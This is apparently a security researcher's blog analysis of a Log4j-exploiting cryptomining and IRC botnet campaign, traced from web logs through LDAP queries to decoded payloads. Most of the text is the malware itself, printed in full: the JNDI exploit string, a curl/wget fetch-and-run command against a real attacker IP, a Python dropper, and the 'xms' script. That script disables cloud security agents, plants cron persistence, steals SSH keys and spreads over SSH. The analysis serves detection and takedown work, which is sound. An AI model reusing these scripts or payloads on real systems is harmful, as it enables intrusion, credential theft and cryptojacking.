https://bcable.net/analysis-httpd-log4j_obfuscate.html
https://bcable.net/analysis-httpd-log4j_rawlogs.html
Through similar Log4j analysis and disassembly, I have managed to dig straight into a bunch of malware and connect directly into a bunch of IRC command and control botnets. 5586 victim hosts were nearly fully identified in one botnet that identifies itself as irc.bashgo.pw that contains roughly 6404 bots in it.
Another botnet that identifies itself as irc.cobalt.com had rougly 239 bots and 1 command user in it, and I was able to identify 208 hosts in that botnet.
I was able to go through certain channels to report these compromised hosts. 63 of these hosts were Linode instances, of which this very server is a Linode instance of, so I reported those rogue hosts specifically to Linode already as well.
Most hosts, due to the nature of the Log4j vulnerability needing to be done on a public port, are completely open to the web. The software used in most cases reports full host identification as well, so all information about the hosts was available to gather, it was just a matter of technological capability and timing.
I will detail the techniques I used to gather this information and provide as much information as I feel is in the public interest without compromising the integrity of the victim hosts.
Keep in mind, these hostnames are NOT the actual hostnames of these botnets. They use fake hostnames to throw people off.
Not really the actual hostname, to reiterate, but this botnet is the bigger of the two.
irc.bashgo.pw really resolves to 159.203.103.62 at time of writing.
The original logs were found here:
209.141.47.28 - - [20/Jan/2022:14:07:40 +0000] "GET /$%7Bjndi:ldap://192.3.194.202:8080/o=tomcat%7D HTTP/1.1" 400 347 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)${jndi:ldap://192.3.194.202:8080/o=tomcat}"
Initially forgot to add the “-b” option, but interesting to note it returned what it did…
$ ldapsearch -x -H ldap://192.3.194.202:8080
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: o=tomcat
# requesting: ALL
#
#
dn:
objectClass: javaNamingReference
javaClassName: xUnknown
javaFactory: xExportObject
javaCodeBase: http://127.0.1.1:8000/
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
$ ldapsearch -x -H ldap://192.3.194.202:8080 -b o=tomcat
# extended LDIF
#
# LDAPv3
# base <o=tomcat> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# tomcat
dn: o=tomcat
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0Bjp7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgiamF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZ
SgpLmV4ZWMoU3RyaW5nLmZyb21DaGFyQ29kZSg5OCw5NywxMTUsMTA0LDMyLDQ1LDk5LDMyLDEyMy
wxMDEsOTksMTA0LDExMSw0NCw4OSw1MSw4NiwxMjEsOTgsNjcsNjUsMTE2LDk5LDEyMSw2NiwxMTE
sMTAwLDcyLDgyLDExOSw3OSwxMDUsNTYsMTE4LDc5LDY4LDY1LDExNyw3OCwxMjIsNjksMTE3LDc3
LDg0LDg1LDUyLDc2LDEwNiwxMDcsNTAsNzYsNTEsMTA0LDExNiw5OSwxMjIsNTcsMTIyLDk5LDY3L
DY1LDExNiw5OCwxMjEsNjUsMTE4LDEwMCw3MSw0OSwxMTksNzYsNTEsMTA0LDExNiw5OSwxMjIsMT
E1LDEwMywxMDAsNTAsMTAwLDEwOCwxMDAsNjcsNjYsMTExLDEwMCw3Miw4MiwxMTksNzksMTA1LDU
2LDExOCw3OSw2OCw2NSwxMTcsNzgsMTIyLDY5LDExNyw3Nyw4NCw4NSw1Miw3NiwxMDYsMTA3LDUw
LDc2LDUxLDEwNCwxMTYsOTksMTIyLDU3LDEyMiw5OSw2Nyw2NSwxMTYsODQsMTIxLDY1LDExOCwxM
DAsNzEsNDksMTE5LDc2LDUxLDEwNCwxMTYsOTksMTIyLDExNSwxMDMsOTgsNzIsMTAwLDExOSw3Ni
w4Nyw4MiwxMTgsMTAwLDUwLDUzLDExNSw5OCw1MCw3MCwxMDcsNzMsNzEsMTA0LDQ4LDEwMCw3Miw
2NSw1NCw3NiwxMjEsNTYsNTIsNzcsNjcsNTIsNTEsNzcsODMsNTIsMTIwLDc4LDg0LDEwMywxMTcs
NzksODQsODksMTE4LDEwMSw3MSw0OSwxMjIsNzMsNjcsNTcsNDgsOTgsODgsNjUsMTE4LDEwMSw3M
Sw0OSwxMjIsNzksMTIxLDY2LDEwNSw4OSw4OCw3OCwxMTEsNzMsNjcsNTcsNDgsOTgsODgsNjUsMT
E4LDEwMSw3MSw0OSwxMjIsNzksMTIxLDY2LDEwOCw4OSw1MCwxMDQsMTE4LDczLDcxLDc4LDczLDk
4LDY4LDY2LDEwNCw4MiwxMjIsMTA4LDQ5LDgzLDg1LDc3LDEyMCw5NywxMDcsMTA4LDY4LDkwLDcy
LDY2LDEwNSw4Nyw2OSw3NCw1MCw4OSw1MCw1Myw4Miw5MCw1MCw4Miw4OSw4MywxMTAsNzgsMTA1L
DgyLDUwLDEyMCwxMTIsODQsMTIyLDc0LDg3LDc4LDcwLDExMiw4OCw4NCw4Nyw1NywxMDcsODcsNj
ksMTEyLDEyMiw4OSwxMDcsMTAwLDExNSw5Nyw4NSwxMjAsMTE3LDg2LDExMCwxMDgsMTA1LDgyLDE
yMiwxMDgsNTEsODcsMTA4LDk5LDQ4LDk4LDQ4LDEwOCwxMTYsOTcsNjgsNjYsMTA3LDgzLDY5LDY5
LDUwLDg0LDcyLDEwNyw1Miw3OCw2OSw0OSw2OCw3OCw2OCw3OCw3OCw4NSwxMjIsODIsNTIsODQsM
TA4LDgyLDExMCwxMDAsODUsNTcsODUsODcsODgsOTAsOTcsODEsMTIyLDg2LDUxLDkwLDg2LDc4LD
c0LDk5LDY5LDEyMCwxMTcsODMsMTA5LDEyMCw5MCw4Niw0OSw3MCwxMTgsODMsNDksNzgsMTE0LDk
4LDEwNSw2Niw1Niw3Myw3MSw3NCwxMDQsOTksNTAsODUsNTAsNzgsNjcsNjUsMTE2LDkwLDY3LDY2
LDU2LDczLDcxLDc0LDEwNCw5OSw1MCwxMDMsMTAzLDc2LDgxLDYxLDYxLDEyNSwxMjQsMTIzLDk4L
Dk3LDExNSwxMDEsNTQsNTIsNDQsNDUsMTAwLDEyNSwxMjQsMTIzLDk4LDk3LDExNSwxMDQsNDQsND
UsMTA1LDEyNSkpIil9cHBwcHB4dAAlb3JnLmFwYWNoZS5uYW1pbmcuZmFjdG9yeS5CZWFuRmFjdG9
yeXB0ABRqYXZheC5lbC5FTFByb2Nlc3Nvcg==
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
This base64 translates to:
b'\xac\xed\x00\x05sr\x00\x1dorg.apache.naming.ResourceRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x1dorg.apache.naming.AbstractRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x16javax.naming.Reference\xe8\xc6\x9e\xa2\xa8\xe9\x8d\t\x02\x00\x04L\x00\x05addrst\x00\x12Ljava/util/Vector;L\x00\x0cclassFactoryt\x00\x12Ljava/lang/String;L\x00\x14classFactoryLocationq\x00~\x00\x04L\x00\tclassNameq\x00~\x00\x04xpsr\x00\x10java.util.Vector\xd9\x97}[\x80;\xaf\x01\x03\x00\x03I\x00\x11capacityIncrementI\x00\x0celementCount[\x00\x0belementDatat\x00\x13[Ljava/lang/Object;xp\x00\x00\x00\x00\x00\x00\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\nsr\x00\x1ajavax.naming.StringRefAddr\x84K\xf4<\xe1\x11\xdc\xc9\x02\x00\x01L\x00\x08contentsq\x00~\x00\x04xr\x00\x14javax.naming.RefAddr\xeb\xa0\x07\x9a\x028\xafJ\x02\x00\x01L\x00\x08addrTypeq\x00~\x00\x04xpt\x00\x05scopet\x00\x00sq\x00~\x00\x0bt\x00\x04authq\x00~\x00\x0fsq\x00~\x00\x0bt\x00\tsingletont\x00\x04truesq\x00~\x00\x0bt\x00\x0bforceStringt\x00\x06x=evalsq\x00~\x00\x0bt\x00\x01xt\x06:{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec(String.fromCharCode(98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,51,86,121,98,67,65,116,99,121,66,111,100,72,82,119,79,105,56,118,79,68,65,117,78,122,69,117,77,84,85,52,76,106,107,50,76,51,104,116,99,122,57,122,99,67,65,116,98,121,65,118,100,71,49,119,76,51,104,116,99,122,115,103,100,50,100,108,100,67,66,111,100,72,82,119,79,105,56,118,79,68,65,117,78,122,69,117,77,84,85,52,76,106,107,50,76,51,104,116,99,122,57,122,99,67,65,116,84,121,65,118,100,71,49,119,76,51,104,116,99,122,115,103,98,72,100,119,76,87,82,118,100,50,53,115,98,50,70,107,73,71,104,48,100,72,65,54,76,121,56,52,77,67,52,51,77,83,52,120,78,84,103,117,79,84,89,118,101,71,49,122,73,67,57,48,98,88,65,118,101,71,49,122,79,121,66,105,89,88,78,111,73,67,57,48,98,88,65,118,101,71,49,122,79,121,66,108,89,50,104,118,73,71,78,73,98,68,66,104,82,122,108,49,83,85,77,120,97,107,108,68,90,72,66,105,87,69,74,50,89,50,53,82,90,50,82,89,83,110,78,105,82,50,120,112,84,122,74,87,78,70,112,88,84,87,57,107,87,69,112,122,89,107,100,115,97,85,120,117,86,110,108,105,82,122,108,51,87,108,99,48,98,48,108,116,97,68,66,107,83,69,69,50,84,72,107,52,78,69,49,68,78,68,78,78,85,122,82,52,84,108,82,110,100,85,57,85,87,88,90,97,81,122,86,51,90,86,78,74,99,69,120,117,83,109,120,90,86,49,70,118,83,49,78,114,98,105,66,56,73,71,74,104,99,50,85,50,78,67,65,116,90,67,66,56,73,71,74,104,99,50,103,103,76,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125))")}pppppxt\x00%org.apache.naming.factory.BeanFactorypt\x00\x14javax.el.ELProcessor'
These ASCII character codes translate to:
b'curl -s http://80.71.158.96/xms?sp -o /tmp/xms; wget http://80.71.158.96/xms?sp -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
This base64 translates to…. (*sigh*):
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/d.py").read())\''
The full list of pulled malware is the following. I have organized it into the three stages of deployment I witnessed, the “d.py” start deployment, “e.py” initial scan deployment for further scanning of local addresses and lateral movement (192.168.0.0/16), and the “ei.py” scan2 deployment for even further lateral movement (192/10/172 addresses):
01_d_start/bashirc.i686: OK
01_d_start/bashirc.i686.decompress: Win.Trojan.Tsunami-5 FOUND
01_d_start/bashirc.x86_64: Unix.Trojan.Tsunami-9917427-0 FOUND
01_d_start/bashirc.x86_64.decompress: Win.Trojan.Tsunami-5 FOUND
01_d_start/d.py: OK
01_d_start/i686: OK
01_d_start/i686.decompress: Multios.Coinminer.Miner-6781728-2 FOUND
01_d_start/quartz_uninstall.sh: OK
01_d_start/uninstall.sh: OK
01_d_start/x86_64: OK
01_d_start/x86_64.decompress: Multios.Coinminer.Miner-6781728-2 FOUND
01_d_start/xms: Unix.Downloader.Rocke-6826000-0 FOUND
01_d_start/xms.web1: Unix.Downloader.Rocke-6826000-0 FOUND
02_e_scan/e.py: OK
02_e_scan/hxx: Unix.Malware.Agent-6639729-0 FOUND
02_e_scan/hxx.decompress: OK
02_e_scan/pas3: OK
02_e_scan/scan: OK
03_ei_scan2/ei.py: OK
03_ei_scan2/pas: OK
03_ei_scan2/scan2: OK
03_ei_scan2/scan2.decompress: OK
03_ei_scan2/xms: Unix.Downloader.Rocke-6826000-0 FOUND
03_ei_scan2/xms.web2: Unix.Downloader.Rocke-6826000-0 FOUND
stray/b.py: OK
stray/wxm.exe: Win.Coinminer.Generic-7151250-0 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 8604460
Engine version: 0.103.5
Scanned directories: 0
Scanned files: 26
Infected files: 11
Data scanned: 27.84 MB
Data read: 26.62 MB (ratio 1.05:1)
Time: 19.340 sec (0 m 19 s)
Start Date: 2022:01:22 18:48:49
End Date: 2022:01:22 18:49:09
Mostly just determines architecture and installs the appropriate bashirc, determines if the Monero host (pool.supportxmr.com) is pingable, and installs the Monero CoinMiner.
import urllib
import platform
import os
output = os.popen('sh -c bytes=$(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l); if [[ "$bytes" -eq "0" ]]; then url=" "; else url="-d";fi; echo $url').read()
if platform.architecture()[0] == "64bit":
urlx64 = "http://80.71.158.96/x86_64"
bx64 = "http://80.71.158.96/bashirc.x86_64"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/dbused", "wb") as code:
code.write(data)
xx = urllib.urlopen(bx64)
if xx.code == 200:
data = xx.read()
with open ("/tmp/bashirc.x86_64", "wb") as code:
code.write(data)
os.chmod("/tmp/dbused", 0o777)
os.chmod("/tmp/bashirc.x86_64", 0o777)
os.system("/tmp/dbused -pwn")
os.system("/tmp/dbused -c " + output)
os.system("/tmp/bashirc.x86_64")
os.system("rm -rf /tmp/dbused")
os.system("rm -rf /tmp/bashirc.x86_64")
except:
pass
else:
urlyy = "http://80.71.158.96/i686"
yy32 = "http://80.71.158.96/bashirc.i686"
try:
yy = urllib.urlopen(urlyy)
if yy.code == 200:
data = yy.read()
with open ("/tmp/dbused", "wb") as code:
code.write(data)
yy = urllib.urlopen(yy32)
if yy.code == 200:
data = xx.read()
with open ("/tmp/bashirc.i686", "wb") as code:
code.write(data)
os.chmod("/tmp/dbused", 0o777)
os.chmod("/tmp/bashirc.i686", 0o777)
os.system("/tmp/dbused -pwn")
os.system("/tmp/dbused -c " + output)
os.system("/tmp/bashirc.i686")
os.system("rm -rf /tmp/dbused")
os.system("rm -rf /tmp/bashirc.i686")
except:
pass
Downloads and runs quartz_uninstall.sh as well as uninstall.sh, detailed below. These appear to be uninstall software for Aegis and Quartz.
Afterwards, disabled and removes Aliyun, bcm-agent, qcloud-stargate/qcloud-yunjing/qcloud-monitor.
From there, it spams the following files:
/etc/cron.d/root
/etc/cron.d/apache
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1
To gain as much of a crontab foothold by redownloading and executing xms as much as possible over and over again.
The payload used is:
(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR
It's interesting to note that the $url
can be the http://80.71.158.96
or http://a.oracleservice.top
, but a.oracleservice.top
does not DNS resolv so I wonder if they have already been slightly disrupted in the past.
Full xms
:
#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -u 50000
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
if ps aux | grep -i '[a]liyun'; then
(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"
chattr -ai /tmp/dbused
if [ -s /usr/bin/ifconfig ];
then
range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
dns=""
else
dns="-d"
fi
if [ $(ping -c 1 a.oracleservice.top 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
url="http://a.oracleservice.top"
else
url="http://80.71.158.96"
fi
echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
DIR="/tmp"
cd $DIR
if [ -a "/tmp/dbused" ]
then
if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
rm -rf /usr/local/lib/libkk.so
echo "" > /etc/ld.so.preload
pkill -f wc.conf
pkill -f susss
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/tmp" ]
then
DIR="/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/.sh/dbused" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
get() {
chattr -i $2; rm -rf $2
wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 || lwp-download $1 $2 ||
chmod +x $2
}
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/dbused ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
sizeBefore=$(du $DIR/x86_64)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
download
sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
fi
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
echo "x86_64 OK"
cp $DIR/x86_643 $DIR/x86_64
cp $DIR/x86_643 $DIR/x86_64
;;
*)
echo "x86_64 wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
get $url/$(uname -m) "$DIR"/dbused
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 780965bad574e4e7f04433431d0d8f63)
echo "x86_64 OK"
cp $DIR/x86_64 $DIR/x86_643
;;
*)
echo "x86_64 wrong"
;;
esac
else
echo "No md5sum"
fi
}
judge() {
if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
then
get $url/$(uname -m) "$DIR"/dbused
chmod +x "$DIR"/dbused
"$DIR"/dbused -c $dns
"$DIR"/dbused -pwn
sleep 5
else
echo "Running"
fi
}
if [ ! "$(netstat -ant|grep '51.79.175.139:8080\|198.23.214.117:8080\|167.114.114.169:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
judge
else
echo "Running"
fi
if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
get $url/bashirc.$(uname -m) "$DIR"/bashirc
chmod 777 "$DIR"/bashirc
"$DIR"/bashirc
else
echo "Running"
fi
cronbackup() {
pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"
status=0
crona=$(systemctl is-active cron)
cronb=$(systemctl is-active crond)
cronatd=$(systemctl is-active atd)
if [ "$crona" == "active" ] ; then
echo "cron okay"
elif [ "$cronb" == "active" ]; then
echo "cron okay"
elif [ "$cronatd" == "active" ] ; then
status=1
else
status=2
fi
if [ $status -eq 1 ] ; then
for a in $(at -l|awk '{print $1}'); do at -r $a; done
echo "$pay" | at -m now + 1 minute
fi
if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
arr[0]="/dev/shm"
arr[1]="/tmp"
arr[2]="/var/tmp"
arr[3]="/home/$(whoami)"
arr[4]="/run/user/$(echo $UID)"
arr[5]="/run/user/$(echo $UID)/systemd"
rand=$[$RANDOM % ${#arr[@]}]
echo "Setting up custom backup"
ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9
key="while true; do sleep 60 && $pay; done"
echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner
nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
sleep 15
rm -rf ${arr[$rand]}/cruner
fi
}
cronbackup
if crontab -l | grep -q "$url"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
done
done
done
rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
quartz_uninstall.sh is http://update.aegis.aliyun.com/download/quartz_uninstall.sh
uninstall.sh is http://update.aegis.aliyun.com/download/uninstall.sh
Deployment and execution of next phase. Appears to call the scan on “192.168.0.0-192.168.255.255” port 22.
import urllib
import platform
import os
